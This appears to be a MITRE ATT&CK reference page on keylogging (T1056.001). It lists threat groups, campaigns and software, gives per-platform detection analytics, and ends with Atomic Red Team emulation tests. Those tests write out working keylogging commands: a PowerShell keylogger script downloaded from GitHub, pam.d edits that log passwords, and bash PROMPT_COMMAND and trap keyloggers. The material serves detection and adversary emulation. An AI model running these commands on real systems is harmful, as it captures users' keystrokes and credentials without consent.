Has used custom malware to log keystrokes.1
- Tactics
- Credential Access, Collection
- Platforms
- Linux, macOS, Network Devices, Windows
- Version
- 1.3
- Created
- 11 February 2020
- Last modified
- 12 May 2026
- Contributor
- TruKno
Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.[1]
Keylogging MITRE reference T1056.001
26 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has used malware with keylogging capabilities to monitor the communications of targeted entities.12
Has created and accessed a file named rult3uil.log on compromised domain controllers to capture keypresses and command execution.1
Has logged the keystrokes of victims to escalate privileges.1
Has used keylogging tools in their operations.1
Has used CWoolger and MPK, custom-developed malware, which recorded all keystrokes on an infected system.1
All 26 groups for this technique · 6 newest in this preview
3 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
During Cutting Edge, threat actors modified a JavaScript file on the Web SSL VPN component of Ivanti Connect Secure devices to keylog credentials.1
During Operation Wocao, threat actors obtained the password for the victim's password manager via a custom keylogger.1
During the 2015 Ukraine Electric Power Attack, Sandworm Team gathered account credentials via a BlackEnergy keylogger plugin. 12
All 3 campaigns for this technique
126 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Can log keystrokes on targeted systems.1
Has captured user credentials and passwords in plaintext and has encrypted them in a stored file on the network device.12
Has utilized a cross-platform keylogger that has the capability to capture keystrokes on Windows, macOS and Linux systems.1
Has conducted keylogging using the Python project “pyWinHook” and "Pyhook".123 InvisibleFerret has also captured keylogging thread checks for changes in an active window and key presses.4
Has capabilities to conduct keylogging.1
All 126 software entries for this technique · 6 newest in this preview
Offense vs defense T1056.001
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Keylogging detection strategy DET0089
MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Behavioral Detection of Keylogging Activity Across Platforms
AN0243 · Windows
Monitors suspicious usage of Windows API calls like SetWindowsHookEx, GetKeyState, or polling functions within non-UI service processes, combined with Registry or driver modifications.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process AccessDC0035 | WinEventLog:Sysmon | EventCode=10 |
| File AccessDC0055 | WinEventLog:Security | EventCode=4663, 4670, 4656 |
| Service CreationDC0060 | WinEventLog:System | EventCode=7045 |
| Windows Registry Key ModificationDC0063 | WinEventLog:Sysmon | EventCode=13, 14 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TargetImage | Scope to sensitive GUI/session processes like winlogon.exe or osk.exe |
| AccessMask | Can be tuned to 0x1fffff for full-access injection detection |
| TimeWindow | Tunable for sustained polling or multiple registry edits in short succession |
AN0244 · Linux
Detects non-system processes accessing /dev/input/* or issuing ptrace/evdev syscalls used for reading keystroke buffers directly.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| OS API ExecutionDC0021 | auditd:SYSCALL | ptrace, ioctl |
| File AccessDC0055 | auditd:SYSCALL | open, read |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ProcessName | Exclude known good applications (e.g. Xorg, GNOME Shell) |
| DevicePath | Typically /dev/input/event*, but tunable to match custom input buses |
AN0245 · macOS
Detects unauthorized TCC access or use of Quartz Event Services (CGEventTapCreate) or IOHID for event tap installation within unexpected processes.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos:osquery | process_events OR launchd |
| Process MetadataDC0034 | macos:unifiedlog | subsystem=com.apple.TCC |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| Service | com.apple.inputmonitoring, com.apple.accessibility, etc. |
| ExecutablePath | Tunable to exclude trusted endpoint monitoring tools |
AN0246 · Network Devices
Keylogging on legacy network devices via unauthorized system image modification or remote capture of console keystrokes (telnet, SSH) through altered firmware or man-in-the-middle key sniffing.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Firmware ModificationDC0004 | networkdevice:syslog | Image Upgrade / Configuration Change |
| Network Traffic ContentDC0085 | NSM:Flow | packet capture or DPI logs |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| FirmwareVersion | Baseline hash or expected version for config/image integrity |
| Protocol | Scope to plaintext channels or low-assurance SSH versions |
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Input Capture | windows | PowerShell | Required | 1 | Yes | ||||||||||
Utilize PowerShell and external resource to capture keystrokes
Payload
Provided by PowerSploit
Upon successful execution, Powershell will execute Input arguments
Attack command &"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath #{filepath}
Cleanup command Remove-Item $env:TEMP\key.log -ErrorAction Ignore Prerequisite Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1 Check if (Test-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") {exit 0} else {exit 1}
Satisfy New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") -Force | Out-Null Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" GUID10aff35f-9461-4c82-8fc0-cbdb0d73945c | ||||||||||||||||
| 02 | Living off the land Terminal Input Capture on Linux with pam.d | linux | sh | Required | 1 | Yes | ||||||||||
Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges. Passwords hidden by the console can also be logged, with 'log_passwd' as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command). Use 'aureport --tty' or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library. Attack command if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo "session required pam_tty_audit.so enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session required pam_tty_audit.so enable=* log_password" >> /etc/pam.d/system-auth Cleanup command sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth Prerequisite Checking if pam_tty_audit.so is installed Check test -f '/usr/lib/pam/pam_tty_audit.so -o /usr/lib64/security/pam_tty_audit.so' Satisfy echo "Sorry, you must install module pam_tty_audit.so and recompile, for this test to work" GUID5007846b-7fa0-4f36-9747-3933f5096ee3 | ||||||||||||||||
| 03 | Logging bash history to syslog | linux | sh | Required | 1 | Yes | ||||||||||
There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog. To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ Attack command PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")' echo "\$PROMPT_COMMAND=$PROMPT_COMMAND" tail /var/log/syslog Cleanup command unset PROMPT_COMMAND Prerequisite This test requires to be run in a bash shell and that logger and tee are installed. Check if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi Satisfy echo "" GUIDeb86c5a2-7b52-4951-b32e-35f374e09a2c | ||||||||||||||||
| 04 | Logging sh history to syslog/messages | linux | sh | Required | 1 | Yes | ||||||||||
There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable "if set" will be executed before the PS1 variable and can be configured to write the latest "bash history" entries to the syslog. To gain persistence the command could be added to the users .shrc or .profile Attack command PS2=`logger -t "$USER" -f ~/.sh_history` $PS2 tail /var/log/messages Cleanup command unset PS2 Prerequisite This test requires to be run in a bash shell and that logger and tee are installed. Check if [ "$(echo $SHELL)" != "/bin/sh" ]; then echo -e "\n***** sh not running! *****\n"; exit 1; fi if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi Satisfy echo "" GUID8910ea39-74b0-429c-ae16-b91a198beeaa | ||||||||||||||||
| 05 | Bash session based keylogger | linux | bash | — | 1 | Yes | ||||||||||
When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = "echo $BASH_COMMAND". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ Input arguments
Attack command trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
echo "Hello World!"
cat #{output_file}
Cleanup command rm #{output_file}
Prerequisite This test requires to be run in a bash shell Check if [ "$(echo $0)" != "bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi Satisfy echo "" GUID2b09fffe-c06a-415c-be36-f66c4e54e439 | ||||||||||||||||
| 06 | SSHD PAM keylogger | linux | sh | Required | 1 | Yes | ||||||||||
Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes. Input arguments
Attack command cp -v /etc/pam.d/sshd /tmp/
echo "session required pam_tty_audit.so disable=* enable=* open_only log_passwd" >> /etc/pam.d/sshd
systemctl restart sshd
systemctl restart auditd
ssh #{user_account}@localhost
whoami
sudo su
whoami
exit
exit
Cleanup command cp -fv /tmp/sshd /etc/pam.d/ Prerequisite This test requires sshd and auditd Check if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi Satisfy echo "" GUID3f5f7849-c835-4741-bf4c-b021293836b5 | ||||||||||||||||
| 07 | Auditd keylogger | linux | sh | Required | 1 | Yes | ||||||||||
The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. Attack command auditctl -a always,exit -F arch=b64 -S execve -k CMDS auditctl -a always,exit -F arch=b32 -S execve -k CMDS whoami; ausearch -i --start now Cleanup command systemctl restart auditd Prerequisite This test requires sshd and auditd Check if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi Satisfy echo "" GUIDa9c90d58-076e-48c7-9be8-dbbf4f79872d | ||||||||||||||||
| 08 | MacOS Swift Keylogger | macos | bash | — | 1 | Yes | ||||||||||
Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required. Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring. Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74 Input arguments
Attack command swift #{swift_src} -keylog
Cleanup command kill `pgrep swift-frontend` Prerequisite swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions. Check if [ -f #{swift_src} ]; then chmod +x #{swift_src}; else exit 1; fi
Satisfy echo "" GUIDb2fae2fb-d5df-4a04-8a0a-6960664ccf1a | ||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition